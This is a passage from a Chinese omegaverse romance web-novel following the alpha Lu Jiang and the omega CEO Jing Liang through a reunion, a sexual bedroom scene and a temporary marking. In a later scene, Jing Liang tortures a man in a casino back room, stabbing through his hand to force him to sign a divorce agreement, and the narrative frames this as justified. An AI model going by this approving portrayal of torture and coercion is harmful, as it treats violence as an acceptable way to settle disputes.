【去看知讯扒他的贴子,虽然没露脸,但百分百是他!】 【先关注一个, 老公看看我呀!】 【卢绛:别叫老公, 已有家室,请自重。】 【豪门老公看看我, 我是你在民间失散多年的情人啊!】 【卢绛:上辈子的债主这辈子的爹, 你叫一声爸爸咱俩就算两清了。】 【他为什么不露脸?感觉是有人在蹭卢绛热度,这人是个冒牌货吧?】 【是不是卢绛?是卢绛为什么不敢露脸?扒出来的照片明明长得很帅的。】 【不露脸是对的, 就你们这群omega天天对着靠爹的货色发情。】 【卢绛:不露脸是怕你自卑, 我是有爹靠, 不像你每天只有‘我靠’。】 【芜湖~老公身材也太棒了吧?想日。】 【想日+1。】 【卢绛:日你个仙人板板, 你想什么都不能想这个, 去玩你的泥巴。】 【求老公骂我!老公骂人好好听,我高朝了。】 【卢绛:……】 太烧,拉黑! 无聊的网友, 怎么什么话都敢说? 卢绛回不过来就懒得会了,架好手机,开始做热身运动。 健完身九点回寝室洗澡,室友之前还挺热闹,一见他回来个个埋头安静如鸡,连吃东西都不敢发出声。 卢绛知道他们不自在,他也挺不自在,要不然跟辅导员说说,去校外住或者换寝室? 其实想归想,卢绛实在不想折腾,这寝室生活,得过且过了。 一夜起来,卢绛在豆奶上的粉丝已经涨到了三十万,霍临一大早发了一个数据给他,app日活昨天达到了八百万。 在这么短的时间内能有这种流量日活,已经相当喜人,今天日活翻倍。 看来,霍临提议的名人效应也不是不可以试试。 一切都在朝好的方向发展,今天又是动力满满的一天! 【卢绛:凉哥,早上好,我起来吃早饭了,今天也要努力学习!小狗讨好转圈.jpg 】 五分钟后。 【景凉:嗯,早上好。】 怎么感觉语气怪冷淡的。 卢绛在食堂打了早餐,慢慢的吃着,一边回着信息。 【卢绛:吃早饭了吗?】 【景凉:不吃,没什么胃口。】 【卢绛:生病了?严不严重啊?是不是工作太辛苦了?】 【景凉:不是,是我自己心眼小,气的。】 【卢绛:谁惹你生气?我去揍他。地雷.jpg 匕首.jpg 】 【景凉:好多人叫你老公,他们是开玩笑的我知道,我是不是太小题大作了?】 【卢绛:他们这样叫我,我也很不舒服,我让他们别这样叫了,但是他们不听。】 【景凉:你这样好,我好怕你跟别人跑了。】 【卢绛:我再好,也跟别人没关系,只和你有关。】 【景凉:哦?你还挺会哄人的。】 【卢绛:不要生气了,我后天就会回来,已经请假了,其实我现在就好想见你,想你想到无心学习。】 【景凉:这么想我啊?】 【卢绛:想的。】 景凉来回划动着手机屏幕,反复看着他和卢绛的聊天记录,心中的那丝不愉快一扫而空。 只有把他拴在身边,他才能确定卢绛是他一个人的,可是他不能这么做,他这样做,反而会把人推得更远,谁也受不了这样的占有欲和控制欲。 【景凉:认真上课,我也得去吃早饭上班去了。】 【卢绛:好。】 卢绛点开豆奶app,消息提示与私信爆满,之前那点子动心的名人效应被烦闷替代,他直接将自己的账号屏蔽了。 帐号屏蔽没多久,霍临火急火撩的打了电话过来。 卢绛刚走出教室,准备前往小卖部买水。 “大少爷你是疯了吗?这么大的流量你把账号屏蔽了?赶紧放开引流进来啊!你知不知道现在引流靠你,能留下多少用户才是重中之重!” 卢绛有些烦:“这些网友太癫了,我很不喜欢。” “谁让你喜欢了?别小孩子任性,这是多少人求都求不来的?” “我老婆也不喜欢。” “你在说什么鬼话?!”霍临扶额靠进办公室转椅,整个一大无语。 “我说不行,别想了,你找运营部想别的引流渠道。”卢绛态度坚决。 霍临心痛得无法呼吸,生无可恋:“我感觉错了过好几个亿。” “几个亿不是洒洒水吗?以后咱们能赚百亿千亿,霍哥,我相信你可以的。” “我现在在想,有什么药能治治你突如其来的恋爱脑!” 说完,霍临用力的挂断了电话。 “也没有很恋爱脑吧?”卢绛自顾自的嘀咕,除了考虑到伴侣的情绪,还有一个很重要的原因是他本身很不喜欢将自己的生活暴露在网上。 要不是之前为了写产品体验报告书,根本不会注册帐号拍视频。 突然其来的流量让他很不安,账号屏蔽了之后整个人都轻松多了。 请假批下来第二天正好是周末,这样连续有十天假期。 卢绛一下课就收拾了东西赶去了机场。 迫不及待想要回去见他。 思念像是连绵的春日小雨,平日不声不响没有不适,可反应过来时已潮湿蚀骨,隐隐作痛。 景凉是他的太阳,他无比渴望见到他,只要见到他,那潮湿入骨的相思,就会被他的温暖驱散。 下飞机是在晚上十点半,景凉在上次的扶手电梯出口等他。 卢绛提着小行李箱,等不及电梯下来,直接飞奔而去。 景凉看见他飞奔而来的模样,眼睛里都是笑意,张开双臂迎接他的alpha。 “不是让你在车里等吗?”卢绛放下行李紧拥住了他。 “想早点看到你,慢一秒都不行。” “知道我现在最想干什么?”卢绛在他耳畔低声问。 景凉脸上浮现薄红,犹如三月的桃花,无端多了几分媚色风情。 “也不是不可以。”其实他也期待这个思恋的吻许久。 “真的?” “嗯。” 下一秒,卢绛一把将他抱起,在原地转了三个圈圈。 景凉懵住,“……” “快放我下来!”景凉一张脸乍红。 “你说可以的。” “我……” 景凉清晰的感觉到他藏在衣服底下肌肉蕴藏的力量,不由想入非非。 不愧是每天坚持跑步健身的alpha。 Omega男性再怎么练,也练不出这一身腱子肉。 “我快掉下去了!你……你放开我呀!” “你抱稳一点,双腿用点力。” 卢绛一只手托着他,一只手拉过行李,笑容无邪中透着几分顽皮。 啊!景凉羞耻得快要头顶冒烟,只得把脸埋在他的颈窝里,希望没有人认出他。 “如果明天上了热点新闻,你叫我怎么做人?” 他说话的双唇轻轻擦过卢绛的脖子,喷出的呼吸灼热得仿佛要将人烫伤。 卢绛小腹涌上一股热流,慌忙将这冲动压住,“没关系,我和你一起不当人。” 景凉惊觉,这小子并不像表面看起来的那么纯良,是有点子坏在骨子里的。 终于回到车上。 景凉的羞耻感到现在还没消下去,靠着车窗,一张红透的脸埋在臂弯,连声线都在发颤,“现在的小孩可真会玩!” 谁能想到十七八岁没有过的体验,二十七岁的年纪会被一个二十出头的alpha抱在胸前穿过机场出口。 卢绛抿着嘴强忍住笑意,发动引擎,车子平稳向前驶向了高架桥。 “你还笑?考虑过我一把年纪了吗?我多年沉稳的霸总人设,在今晚可能毁于一旦!” “一把年纪?”卢绛不由转头看了他一眼:“没有的事,你看起来比我还小。” “闭嘴,我现在总算知道了,一天天的,你这不是真的乖,尽说些甜言蜜语迷惑人。” “我没有,我说的每一句话都是发自肺腑,我从不撒谎。” “你说那些找不到omega的alpha,要是能学你说话技巧的一点皮毛,何尝找不到对象?” “老婆,你已经对我失去信任了吗?” “是,有点,谁叫你大庭广众干出这种,伤风败俗!” “也没有伤风败俗吧?” “我觉得有!下次你别这么干了……给我留点面子。” “好,对不起,我下次不这么干了。” 卢绛不在意笑笑,下次干点别的。 “认真开车。” 回到景凉的别墅已经将近凌晨,因为期刊定版的问题,卢绛一放下东西就拿出电脑开始忙碌。 景凉给他去浴室放了水,出来发现他还拿着电脑在沙发上校对修正一篇英语论文。 “水快放好了,现在去洗澡吗?”景凉从沙发背后环住了他的脖子,凑上前好奇看了眼,这篇论文有点东西。 “你写的?” “嗯。” “大一就开始写论文了吗?” “不是特意写的,算是无心插柳。”要不是为了大二转学做准备,他也不想操这个心。 “要不要我帮你校对?你去洗澡,现在太晚了。上了一天学,又坐了两个小时的飞机,不累吗?” 景凉心疼地亲吻下他的唇角。 老婆亲他了,老婆好香!嗷,这该死的论文!! 卢绛闭目深吸了口气,身体里好不容易浇熄的岩浆又开始沸腾。 景凉心脏漏了一拍,以为是吵到他所以生气了。 “我吵到你了?那你继续,我先睡觉了。” 第53章 第53章 我到底是不是你的初恋?你送…… 卢绛没留意景凉会错意之后的失落, 只想着快点弄完交差,就可以和老婆贴贴了。 “好。”卢绛头也没抬,滑动着鼠标,一双眼十分专注的盯着文档。 十分钟后, 第一次校对修正完成, 邮件点击发送! 卢绛长舒了口气,收拾了桌子去浴室洗澡。 置物架上已经备好了睡衣, 浴缸里的水快满了, 有舒缓精油的香味。 卢绛满脑子都是和老婆贴贴, 在浴缸里囫囵滚了两圈, 搓完起身,完全不想泡澡。 他现在嫌穿扣子的睡衣浪费时间,就裹着一条浴巾走出了浴室。 卢绛喘着气,上床, 钻进被子扯掉浴巾, 一气呵成。 景凉闭着眼却还很清醒,但没有会卢绛, 继续装睡。 突然卢绛促不及防的压了上来, 景凉只觉整个胸腔被挤压,闷哼了声有点喘不上气。 他伸手去推, 掌心下是滚烫紧实细腻的皮肤, 他这才意识到卢绛什么也没穿。 “你……” 不等他说什么, 卢绛闷声拉上被子干起了大事, 被子底下发了狠的亲他。 景凉只觉双唇又麻又疼, 同时升起的那股潮湿的暧昧,在两人之间发酵。 景凉无法抗拒心上人的触碰,他像是溺水之人, 拼命地缠住了救他生还的浮木,不知道是痛苦更多还是快乐更多。 直到他快要喘不过气,他拍了拍卢绛的后背,示意他放开。 卢绛这才停了下来,紧闭着双眼,与他额头相抵。 “要不要我的信息素?”卢绛轻啄着他的唇,声音比平时粗哑。 “别,信息素不行,会失控的。”景凉紧张的抵着他的双肩,“今晚真的不行,明天得上班。” 卢绛猛地拉下被子,只见他俊脸潮红,头发蓬松凌乱;昏黄灯光照映中,五官的轮廓越发立体,细密的汗水将他鬓发打湿,长睫下的眼眸乌黑透亮,深邃迷人。 景凉喉结滚动,咽了口唾沫,相比卢绛的凌乱,他更是好不到哪里去。 两人呼吸到新鲜空气终于缓了过来。 “把衣服穿上!”景凉推搡了他一下,声音沙哑。 卢绛翻身滚到了自己的床位,兴味十足笑了声,“衣服还在浴室里。” “怎么不穿?” “一定要穿吗?” “你……你是小流氓吗?在哪学坏了?”景凉震惊,他纯情又害羞的小alpha呢?现在怎么这么野了?这其间到底发生了什么? 卢绛侧身往他身边靠了靠,抬起手用拇指轻揉着他鲜艳欲滴的双唇,声音缱绻慵懒的叫了一声:“凉哥。” “嗯?” “你的唇好甜,好软。” 景凉只觉自己要烧起来了,猛地起身,“我去给你拿衣服。” “我不穿!” 卢绛一把将他拽了回来,禁锢在怀里,不让他走。 景凉能感觉到小绛绛的勃发生机,正朝着他步步相逼。 “你不害羞?” “还是很害羞的,但我克服了。” 景凉气笑了,神特么克服,“害羞到光明正大耍流氓?” “可我想要。”卢绛忍不住抬月要蹭蹭,眼底的谷欠望昭然若揭。 “你是不是……” “嗯?” “看了什么奇怪的东西?” 卢绛坦荡道:“看了!” “我就知道。” “不可以吗?” “可以,但是我明天要上班。” “不是周末吗?” “打工人是没有周末的。” “你不是老板吗?” “老板才累,得赶去开早会。还有两天,你忍忍?我得提前把工作都安排好。” 卢绛生无可恋的平躺了下来,难受得想哭,“消不下去。” 景凉忍笑的功夫渐长,用手摸了摸它,“是肿得很厉害,要不……” “啊?” “我拿冰块给你敷敷?”景凉损他。 “你这里也肿了,穿真丝睡衣好明显。”卢绛用指尖刮过。 刺痛与酥麻的感觉同时刺激着大脑,景凉乱了呼吸,按住了他的手,“别随便碰,omega快到周期这个……是会比较明显。” 卢绛听话的没再碰他,只是更加用力的将他紧拥在怀里,静默了好一会儿,卢绛脸红红的在他耳畔低语了句:“我想吃。” 景凉整张脸红透到脖根,“今晚你还让不让我睡?” 卢绛想到他明天肯定要早起,这才下定决心放开了他,下床围上浴巾,“我去浴室解决一下,你睡吧。” 其实景凉也不是完全不心动,但omega平时对这种事的需求确实没有那么强烈,只要alpha能控制好信息素就行。 看着卢绛快速跑进浴室关上门,景凉松了口气的同时心里又很感动。 Alpha如果想要,完全可以不用忍耐,卢绛刚才再强硬一点,释放信息素,他根本没有拒绝的力气。 一回生二回熟,卢绛这次的手上工夫要比第一次好太多,折腾了四十多分钟又冲了个澡出来,已经穿好了给他准备的睡衣,关掉大灯后,摸上了床。 关了橘黄色的小灯,卢绛现在还没什么睡意,拿过手机调了下亮度,在财经论坛看了些实时新闻助眠。 突然身后那人翻了个身,伸手抱住了他的腰。 卢绛放下了手机,将oemga搂进怀里,困意袭来。 这次醒来卢绛又睡过头了,他伸手摸了下景凉的床位,没了温度。 或许是因为睡在他的身边会格外安心,卢绛总是过份贪睡的,他捞过手机拨打了景凉的号码。 此时公司早会刚开完,上午十点半。 接到卢绛的来电,景凉的心情跟着变好了,周围的低气压也随之消失,让所有人松了口气。 目送着景凉离开,公司员工忍不住八卦。 “是不是小景总的alpha打过来的?” “百分百是了。” “真的会结婚的吧?” “在网上见过他未婚夫的照片,不知道现实有没有这么帅?” …… 景凉快步迈进办公室,才开始讲话。 卢绛的声音带着刚醒的沙哑和鼻音,“我记得睡前调了闹钟。” “是我关掉的,多休息会儿吧。” “该多休息的不是你吗?明后天,你的发情期就到了,难道不会觉得累?” “我有吃口服抑制剂。” “为什么要吃这个?我不是你的alpha吗?” 听他语气隐隐的委屈与不安,景凉笑着安抚了句:“知道了,下次一定。” “你就敷衍我吧!我能不能来找你一起吃午饭?” “当然。” “我起床了,马上过来!”语气是掩不住的兴奋。 卢绛匆匆挂断电话,打开衣帽间,里面整整一排都是景凉为他准备的新衣服,袖扣别针等配饰小件都是配套设计好的。 卢绛挑了一套看起来比较成熟稳重的正装,去浴室换了。 临前出门吃了点东西掂肚子,便匆匆赶去了景氏集团。 景氏集团占了明辉大厦最上面六层,下面都是租出去的写字楼,在这寸金寸土的帝都,即使景氏破产了,景凉躺着一辈子不动吃租金都够挥霍。 这是卢绛第一次来他公司,他将买的玫瑰花藏在身后,不想引人注目。 电梯打开,是周洲过来接的他。 “卢少,好些日子不见。” 卢绛浅淡地点了下头,沉默的随周洲往景凉办公室走去。 周洲替卢绛推开门,朝景凉提醒了句:“小景总,卢少过来了。” “进来吧。” 卢绛越过周洲身边,大步朝景凉走去,周洲这才注意到原来他双手背在背后是藏了一束鲜花。 景凉总是用‘可爱’来形容他的alpha,在十秒之前,周洲都在怀疑是不是情人眼里出西施,再怎么冷着张脸摆出傲漫的姿态,他都会觉得可爱? 看来是他错了,卢绛的边界感只针对他们这些无关紧要的人,对他们来说确实不够热情,甚至是冷漠。 alpha在普通的日子来看omega却带了花,还要悄悄藏在背后不想让人看见……确实有点可爱。 被喂一嘴狗粮的周洲笑着摇摇头,替他们关上了门。 景凉放下手里的文件,嘴角含笑看着卢绛,四目相交,是化不开的浓情蜜意。 “怎么想要给我买花?” “上次你给我也买了,我后来查了一下粉玫瑰的喻意。” “哦?什么喻意?” “永恒的爱赠予初恋,让这份爱永远铭记在心。” 景凉接过鲜花,递在鼻尖深嗅了下,淡淡的玫瑰香。 “正好,等会儿一起出去吃饭,顺便买个花瓶吧。” 卢绛凑上前卖乖地问他:“我到底是不是你的初恋?你送我粉玫瑰是这个意思吗?” 景凉羞耻的红了脸,“你都知道了还问?我不要面子的吗?” “你不说出来,我无法确定,所以干脆直接问你,不想一直猜猜猜。” “是,你是我的初恋,难道你看不出来,我一直想追你吗?”说到这个份儿上,景凉也不管什么面子不面子了。 “叫你一起逛商场,不管什么时间都会去机场接你,陪你一起吃火锅,送衣服送花,给你发了很多短信……你还挺难追的,居然能那么久不回我消息,最后我还不要脸的追去了月亮岛,结果你还晾着我,我自尊心破碎,所以就生气把你拉黑了。” 卢绛听完心里一阵难过:“我之前确实有点不知好歹,你别生我的气。” “我从来没有生过你的气,一想到你心就软得不行。”景凉捏了捏卢绛的下巴,看着他的眼神满是宠溺。 “老婆,我爱你。”卢绛用力吻了下他的唇,但又快速分开了。 景凉心脏咚咚跳得厉害:“你刚才……说了什么?没听清楚。” “你明明听清楚了。” “那你再说一遍。” “不,好话不说第二遍。” 景凉一脸遗憾:“下次我一定要录下来。” 第54章 第54章 做一个临时标记再出去吧!…… 卢绛看他桌上堆了好些要看的文件, 径自走到窗前的沙发坐下,拿过桌上景氏服装月刊看了起来。 “不闹你了,你工作吧。” “好。” 景凉深吸了口气,强迫自己从卢绛身上集中了精神, 继续工作。 安静的室内仿佛只能听到自己的呼吸, 卢绛突然闻到了一股若有似无的omega信息素,带着特有的求偶的香甜, 他怔愣了下, 扭头看向景凉。 感受到他的视线, 景凉不由疑惑:“怎么了?啊……是不是渴了, 我让周洲送杯果汁进来。” “不是,”卢绛一脸严肃:“你的信息素溢出来了。” “有吗?”景凉吓了一跳,抬手闻了闻自己的袖口,好像是有点气味, “只有一点点, 你鼻子可真够灵的。” “嗯。”卢绛若有所思,不由上了心, 他的发情期也不一定会是在明后天, 之前本来就不太稳定,还是得多注意。 为了能在十二点前和卢绛约午饭, 景凉心无旁骛将要紧的文件处了。 拧上钢笔, 正好十二点。 听到办公桌的动静, 卢绛坐直了身子, “做完了吗?” “嗯, 可以去吃饭了。” “凉哥,你过来一下。” 景凉拿西装外套的手顿住,笑了声朝他走了过去, “干嘛呢?” 卢绛虎口卡在他的腰侧,宽大修长的手,几乎要将他的腰大部分都裹住。 景凉摒住了呼吸,只觉他腕上稍微用力一带,他整个人倒进了卢绛怀里。 景凉一手扶着他的肩膀,双膝顶着沙发,面料柔软光滑的西裤紧绷,勾勒出底下薄肌流畅完美的轮廓。 卢绛将脸埋进他肩窝蹭了蹭,omega香甜的信息素更浓郁了,喉咙莫明带了些痒意,卢绛轻咳了两声,低声说道:“做一个临时标记再出去吧!” “好,都听你的。”景凉浅笑着吻了吻他的唇,动作优雅的扯掉了领带,脱下了小马甲,将里面的白衬衣退到了肩下方。 卢绛呼吸加重,他知道自己现在是一副什么样子吗? “怎么不咬?” 卢绛无奈,“你是故意的吗?” “故意什么?”景凉玩味的笑了声。 “故意勾引我。” “你被勾引了?” 卢绛双眼迷恋地盯着他,对他全是情不自禁,“我要疯了!可不可以……” “回家再说,这里可是公司,你不会想在我的办公室里乱来吧?” “你太坏了。”把他勾起了火,还不负责灭,卢绛带了些怨念叼住他后颈,咬破他的腺体将自己的信息素注入。 下口狠了点儿,景凉吃疼的轻哼了声,“我的alpha是在生气吗?” 卢绛沉默着,只是将怀里的人拥抱得更紧,用自己的信息素将他全身上下都包裹起来,占有欲十足。 完成临时标记后,卢绛慌忙推开了他,跑进了洗手间。 景凉这才有些愧疚,好吧,玩笑开过头了。 趁这个时间,景凉在网上订了一家中餐厅的包间,他以前会和母亲偶尔去那里吃饭,做的菜味道很不错。 等了好一会儿,卢绛才冷静的从洗手间出来,耷拉着脑袋恹恹的。 景凉上前替他了下略显凌乱的头发和衣领,“是我不好,下次不这样逗你了。” “我饿了。”卢绛转移了话题,算是‘不计前嫌’。 “走吧,哥哥带你去一个味道很好的中餐厅,你一定会喜欢的。” “嗯。” 走出公司,四月的阳光温煦的照在身上,微风拂动嫩绿的树叶沙沙作响,在柏油路面投下光影斑驳。 景凉仰着脸,深吸了口新鲜的空气,从来没觉得,这个世界原来这么美好。 卢绛将车从大厦的地下车库开出来,便看到这样的情景。 美人站在光影斑驳的树下,微仰着脸像在享受着阳光的沐浴,温煦的阳光仿佛在他身上渡了一层光,肌肤白到透明,美好虚幻得仿佛风一吹就会消失。 看到卢绛的车过来,景凉径自绕到了副驾驶座,上车扣好安全带,调出了饭店的地址开始导航。 “现在过去晚了点,不过我已经订了包间,也点了几道他们那的招牌菜,过去看你还想吃什么再点。” 卢绛心情一下子好了许多,爽朗的应了声,以六十迈的速度往前开去。 吃饭期间景凉接了一个电话,虽然表情没什么变化,但卢绛明显感觉到他的眼神透着森冷狠戾。 卢绛暗抽了口气,假装没察觉继续吃自己的饭。 其实认识这么久,他已经多少了解到了景凉是个什么性子的人,不管别人怎么言词凿凿的说他狠辣、他不是个好人,卢绛除了内心有一点点震撼之外,真实的感觉是担心。 担心他在这其间会被人伤害,会被算计吃亏。 这世界正义的宣判和普世的道交给法官,对于终身伴侣,他要给的只有偏爱和陪伴。 挂断电话,景凉温柔的冲他笑笑:“我下午要出去见客户,不能陪你了,怎么办?” “没关系,你去忙吧,我下午去世博园那边的赛车场地看看。” 景凉心脏漏了一拍:“赛车?你不是已经很久没有玩过赛车了?” “有朋友约我,我打发一下无聊的时间。” “那……”关心的话到了嘴边景凉又咽了回去,总感觉‘你要小心点’这种话又不是很吉利,于是话峰一转:“那你玩得开心,早点回来。” 吃好饭,景凉坐公司里的车离开了,卢绛直接去了世博园赛车场,没有朋友约他,是他单纯的想练练手。 暑假会有用。 景凉坐在车上处了几封邮件,半小时后车子停在了帝都郊区一家私人庄园外。 他往车窗外瞧了眼,单一个入口就有好几个身强体壮的alpha保镖,统一黑色西服,戴着隐形耳麦,手里拿着电棍。 看到车子靠近,一个个神情十分警觉走了过来。 其中一人弯下腰来,隔着车窗,alpha的视线是久经‘杀场’的冷酷。 景凉不动声色的收回了平板,将车窗降下,当着他们的面给里面的负责人打了一个电话,点开扬声器。 “温老板,我已经到了。” “景总直接进来就好,人已经给您绑在了密室里。” “好,辛苦了。” 景凉挂断电话,沉声道:“还不开门?” “是,景总里面请。” 电子门缓缓打开,司机将车开了进去,景凉下车后,庄园的管家走了过来迎客。 里面有专门泊车的侍从,景凉对司机说道:“你去门口接应一下,等会儿周助会过来送文件,免得又被那些人拦在门外。” 司机点头转身往门口走去。 管家微微躬着腰,带着得宜的微笑:“景总里面请。” “嗯,多谢。”说着从皮夹里拿出了几张钞票当作小费。 管家所当然的接了,恭敬的在前面带路,走进庄园的大厅。 庄园大厅正中央有一座庄严圣洁的女神石膏像,被若大的喷泉围绕,管家走到石膏像的后面,有节奏地敲击着墙壁,等了片刻,墙壁翻转,墙后的走廊尽头有一道金色的门。 门上浮雕了两只象征金钱的貔貅。 景凉大步推门走了进去,喧闹吆喝声像是浪潮朝他涌来,劈头盖脸将他淹没。 显而易见,这是一家私人地下赌场。 烟味呛得他肺疼,景凉临近发情期,对味道极其敏感,他对赌博毫无兴趣,掩不住厌恶的扬了扬鼻尖的烟味。 有人看出了他是omega,对他大胆的吹着口哨,赤祼的视线毫不遮掩的朝他投了过来。 温锐亲自过来迎接,“稀客啊景总。” 见景凉是温锐的客人,那些轻浮的alpha一下收敛了,一双眼不敢再乱看。 景凉冷冷看了眼他递来的手,意兴阑珊的浅握了下,“人在哪?” 见他不假辞色,温锐也不在意,给他送钱的就是大爷,摆个臭脸而己,无所谓。 温锐招来里面看场子的小弟,让他带景凉去赌场后面的密室里。 一进密室,景凉闻到了一股浓烈的血腥味还夹杂着一些莫明奇妙的怪味。 他不悦的皱起了眉,只想速战速决。 那个贪得无厌的ahpha已经被揍得体无完肤,双手被尼龙绳绑在背后,打手拽着他的手头将他拖到了景凉面前。 打手下手没轻重,苏习安叫得跟杀猪似的,抬头看见来人,之前那点可怜荡然无存,面对omaga嚣张惯了的嘴脸,叫景凉厌恶到了骨子里。 “是你!景凉,你叫他们赶紧把我放了,我知道是周洲叫你来的对不对?” 景凉低垂着眸,眼神冷得吓人,苏习安察觉到了一丝异样,他从未从任何一个omega身上感觉到如此可怕的精神压迫。 于是他收敛了本性,显得有些讨好,“我就欠了他们一点钱,这点钱我的omega肯定会愿意帮我还上,你能不能叫周洲过来一趟啊?” “不急,人在路上呢。”景凉意义不明的笑了声,温锐叫人搬了一条沙发椅进来,还给他送了杯清茶。 景凉悠然的叠着腿坐在了沙发椅上,一手撑着脸颊很有耐性的等着。 “你先叫他们把我放了吧,这样绑着我,是不是不太礼貌啊?”苏习安在试探。 景凉挑眉,惊讶于他的无耻程度。 “对待畜生要什么礼貌?” “你,你这么说……就有点过份了。”苏习安原本也是个体面人,这些年在压迫omega的路上底线一次又一次被他自己打破。 “苏习安,你怎么会变成这样子?” 苏习安扯着嘴角窘迫笑了笑:“我也不想这样,这不是世事无常吗?这几年我运气一直不好,也亏有周洲不离不弃,你跟周洲是最好的朋友,你也不想看他因为我难过吧?” 威胁他? 景凉不由觉得好笑,脸拉下来的一瞬,狠狠朝他的脸上踹了一脚,苏习安疼得嗷嗷直叫。 “提周洲,你也配?” “姓景的,你别太过份!” “这就过份了?等会儿还有更过份的。” 第55章 第55章 以前在一起玩,就属他玩得最…… 大约等了二十来分钟, 周洲被人带了进来,行色有些匆促,双唇发白。 他从进来开始,双眼一直没敢看苏习安, 略微缩着肩膀将文件递给了景凉。 “周洲!你该死!!”苏习安刺红了双眼, 释放alpha信息素,企图控制命令被他标记的omega服从于他。 周洲踉跄了两步, 身子摇摇欲坠, 扶住椅背的十指关节用力到泛白, 脸上掩不住的惊恐。 景凉庆幸出门前, 卢绛给他补了一个临时标记,所以苏习安的信息素对他没有任何影响,只觉得恶心反胃。 “周洲,你去车里等吧, 这里不适合你呆下去。” “阿凉……” “去吧, 听话。” “好,拜托你了。” 从始至终, 周洲都没有再用正眼瞧过苏习安, 他几乎是从这里逃出去的,不愿回头。 “周洲!周洲你别走!!Md, 你这个婊子!!!” 景凉起身, 又给了他一脚, 冷硬的鞋底侮辱性十足的踩踏在苏习安的脸上, 叫他瘫在地上狼狈的动弹不得。 “姓景的, 你怎么敢这么对我?!” 景凉踩着他的脸丝毫没松动,打开了文件袋,拿出了里面的离婚协议书。 “你们的离婚协议书我带来了, 乖乖签了它,你就能从这里活着出去。” “cnm!啊——!” 景凉用力往他脸上踩了两脚,“你有胆再骂一次。” 苏习安疼得冷汗直冒,“你,你总得说清楚,这协议写了什么?” 景凉浅浅一笑,这张脸笑起来更显明媚生动,那双艳丽的唇吐出来的字句却冰冷得骇人。 “当然是你自愿净身出户,不然你以为会写什么?” “哈哈哈哈哈……你tm疯了?婚后财产我有权利分,凭什么?!” “凭你在我眼里,连狗都不如。” “你,你……” “苏习安,我问你最后一次,并且我郑重的警告你,我不是在和你开玩笑,这份协议,你到底签不签?” “我不签!你有种杀了我!!” “好。” 景凉从他脸上收回了脚,在密室的壁柜上挑选着能用上的刑具。 很快,他选了一把匕首,利落的拔了出来,蹲在了苏习安跟前,像在看砧板上的死鱼。 苏习安莫名升起无尽的恐慌,摇了摇头:“你,你别乱来,你想干什么?” “签不签?” “我,我考虑一下,你把刀——啊!!!!” 景凉冷着脸,手起刀落,匕首整个贯穿了苏习安的手掌心。 “啊啊啊——!Cnm,景凉你这个臭婊子!!” “呵……都说了,我不是在开玩笑!”景凉看他痛得浑身抽搐的样子,一阵冷笑,他转动着扎进血肉里的匕首,血肉被搅碎的黏腻声在这室内格外清晰。 苏习安疼得连叫的力气也没有,短暂昏迷了过去。 “你以为我是周洲吗?你认清楚,我是景凉,可没有我那个傻助纯善好欺负。” “求你,求你……” “求我?你得拿出诚意,知道我废的为什么是你左手吗?”景凉顿了顿,解释着:“如果不是念在要留你的右手签字,今天你的右手也要不保。” 匕首继续在血肉里搅动,掌心的血窟窿越来越大,苏习安疼得直翻白眼。 “我,我签。” “哦?”景凉终于仁慈的拔出了匕首,“你早答应签不就完了,何必要受这种苦呢?” 说着,将离婚协议书摊开抹平放到了他面前,往他手里塞了一支钢笔,景凉握着他抖得厉害的手,一字一句警告着:“别抖!要是连个名字都签不好,那你的右手也要不保了。” 就几个名字,苏习安愣是签了半个多小时才签完,画上最后一笔,整个人疼得软瘫下去,双眼紧闭。 景凉满意的翻看了眼协议书,收回了文件袋里。 苏习安不蠢,他很快联想到了一些事情,虚弱的问道:“从一开始,是不是你设的局?就算死,也让我死个明白!” “没错,是我。”景凉声音透着愉悦,浅笑道:“不过不用担心,你欠赌场的那几百万,我替你还了,毕竟求人办事,破财消灾嘛。” 苏习安气得整张脸都开始扭曲,“你真是恶毒!” 景凉不在意道:“能让你这种吸血恶魔评价为恶毒,是我的荣幸,因为有我这种恶毒的人,才能让你们这些毫无道德底线的魔鬼明白,恶人自有恶人磨!” 空气中血腥气混淆着腐臭的味道,空气还不怎么流通,景凉用手掩了下鼻子,脸色有些苍白,想吐! 目的达到后,景凉一秒都不想多逗留,转身大步离开了密室。 直到呼吸着外面的新鲜空气,他才缓了过来,衣服上仿佛也沾染上了血腥腐臭的气味。 “阿凉!”周洲见他出来,跑着迎了过去。 “给你,他签了。” 周洲看着他递来的文件袋,说不出的感动,泪水扑簌而下,禁锢的灵魂摆脱了沉重的枷锁,他感觉到自己从未有过的轻松。 “谢谢你为我做的一切,从今以后我这条命就算是卖给景氏了!” 景凉安慰的拍拍他的肩膀:“需要给你放几天假吗?” “不用,我没那么脆弱,等洗标记的时候再请假吧。” “我帮你联系一下这方面的专家,先上车回公司。” “这个时候还回公司?”此时已经下午六点了。 “我要去公司换身衣服,我可不想薰到我可爱的小alpha。” 周洲不由失笑,陪景凉又回了一趟公司。 周洲正在帮他办公桌上的文件,见他从休息室里出来正要说什么,却闻到了他身上浓烈的信息素,不由一阵紧张。 “你是不是……发情期到了?” 景凉表情恹恹的,身体脱力的撑着桌边,“看来得麻烦你送我回家了。” 周洲扶他时看到了他后颈一小半的牙印,“他之前给了你临时标记?” “嗯……” “你真是……”周洲想责备他两句,但又想到他是为了自己的事情,所有的责备都变成了愧疚,“这样很危险,还好卢少细心给你补了一个临时标记。” “事有轻重缓急,我心里有数,不必担心。” “我现在就送你回去。” 世博园赛车场地到晚上更加热闹,大多是帝都名流富二代聚集在这里,带着各式各样的情人撑场子,开着各种稀有跑车炫耀。 卢绛开着车绕赛道跑了几圈,越来越熟练。 后面一直跟着几道车想超他,在关键时刻被他甩开。 眼尖的人很快认出了这是卢绛的车,其实原身有上下两层车库的跑车,每一辆都很酷炫,限量版的更是数量惊人,在帝都仅有他能拥有,所以他的车开出来,肯定会有人认得。 将车开出赛道,卢绛降下车窗摘下头盔准备透透气。 他远远看到一群人正朝他热烈的招手,不由心里打了一个突,要死,你们不要过来啊!!! 卢绛心慌得不行,思绪千回百转间快速做下决定,他假装没有看到,还没等他们走过来,车窗已经升上,油门踩得轰轰响绝尘而去。 一众人面面相觑。 “他是不是没看到咱们?” “怎么可能没看到?以前一起玩就称兄道弟,现在不想带咱们了呗!” “靠,真狗!首富家的公子就是了不起嘿。” “会不会社恐?咱们一群人这么热情朝他跑过去,又这么久没见,确实有点尴尬,我家来亲戚的时候我也这样。” “他,社恐?你开什么国际玩笑?以前在一起玩,就属他玩得最疯,连路边走过去一条狗都得嘬两嘴。” …… 卢绛一口气开出好几公里外,心里这才踏实。 